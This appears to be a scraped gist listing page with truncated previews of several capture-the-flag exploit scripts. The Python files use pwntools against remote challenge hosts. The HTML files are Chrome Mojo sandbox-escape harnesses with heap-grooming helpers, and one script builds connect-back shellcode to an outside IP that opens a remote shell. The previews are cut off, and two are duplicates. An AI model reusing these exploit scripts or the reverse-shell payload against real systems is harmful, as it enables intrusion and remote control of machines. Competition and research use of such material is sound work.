This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sleep( sleepDuration ){ | |
var now = new Date().getTime(); | |
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ } | |
} | |
function gc() { | |
for (let i = 0; i < 0x10; i++) { | |
new ArrayBuffer(0x1000000); | |
} | |
} | |
let data_view = new DataView(new ArrayBuffer(8)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script id="worker1"> | |
worker:{ | |
if (typeof window === 'object') break worker; | |
self.onmessage = function() { | |
console.log("onmessage") | |
} | |
} | |
</script> | |
<script src="../mojo_bindings.js"></script> | |
<script src="../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body></body> | |
<script src="../mojo/public/js/mojo_bindings.js"></script> | |
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script> | |
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script> | |
var heap; | |
var replace_data; | |
var count = 0; | |
var blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
#s = remote("0", 1234) | |
s = remote("58.229.240.181", 7777) | |
context.log_level = "debug" | |
s.recvuntil(">>>") | |
s.sendline("+[[."+"<"*0x8+"[.>]"+"<"*(0x6e+0x8)+"[.>]"+">"*(0x10-0x6)+"[,>]"+"<"*(0x6+0x10)+"[,>]"+">"*(0x80-0xe)+",>,<.]]") | |
base = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00") - 0x201090 | |
print "BASE @ " + hex(base) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from ctypes import * | |
def convert(s): | |
return struct.unpack('<d', s)[0] | |
#s = process("./pwnme") | |
s = remote("15.164.131.100",9988) | |
def r(dat): | |
s.recvuntil(">") | |
s.sendline(dat) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<pre id='log'></pre> | |
<script src="mojo_bindings.js"></script> | |
<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script src="being_creator_interface.mojom.js"></script> | |
<script src="food_interface.mojom.js"></script> | |
<script src="dog_interface.mojom.js"></script> | |
<script src="person_interface.mojom.js"></script> | |
<script src="cat_interface.mojom.js"></script> | |
<script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
there is format string bug. howerever you only use %n,%c,%d because smth use custom printf. | |
by using %c you leak flag. | |
''' | |
from pwn import * | |
p = ssh("smth_chal","pwn2.task.ctf.codeblue.jp",password="whats_smth") | |
dat = "DbD: Dead by Daytime Sun lololo" | |
k = "" | |
table = [chr(i) for i in range(0x1f,0x80)] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
''' | |
this sandbox separate binary and unicorn engine. | |
So, add dependency code on binary, unicorn engine unintentional execute shellcode. | |
''' | |
a = asm("pop eax; sub eax, 0x90; call eax",arch='i386') # dependency code on binary . go back main func | |
a += "A"*(0x100-len(a)) # full buffer | |
sc = shellcraft.i386.linux.connect('108.61.200.86', 6051, 'ipv4') | |
#sc = shellcraft.i386.linux.connect('localhost', 6051, 'ipv4') | |
sc += shellcraft.i386.linux.findpeersh(6051) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
#s = remote('192.168.0.12',1234) | |
s =remote('10.10.134.127', 30004) | |
def add(name): | |
s.recvuntil('>>>') | |
s.sendline('1') | |
s.recvuntil('name') | |
s.send(name) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
#s = remote('192.168.0.12',1234) | |
s =remote('10.10.134.127', 30004) | |
def add(name): | |
s.recvuntil('>>>') | |
s.sendline('1') | |
s.recvuntil('name') | |
s.send(name) |
NewerOlder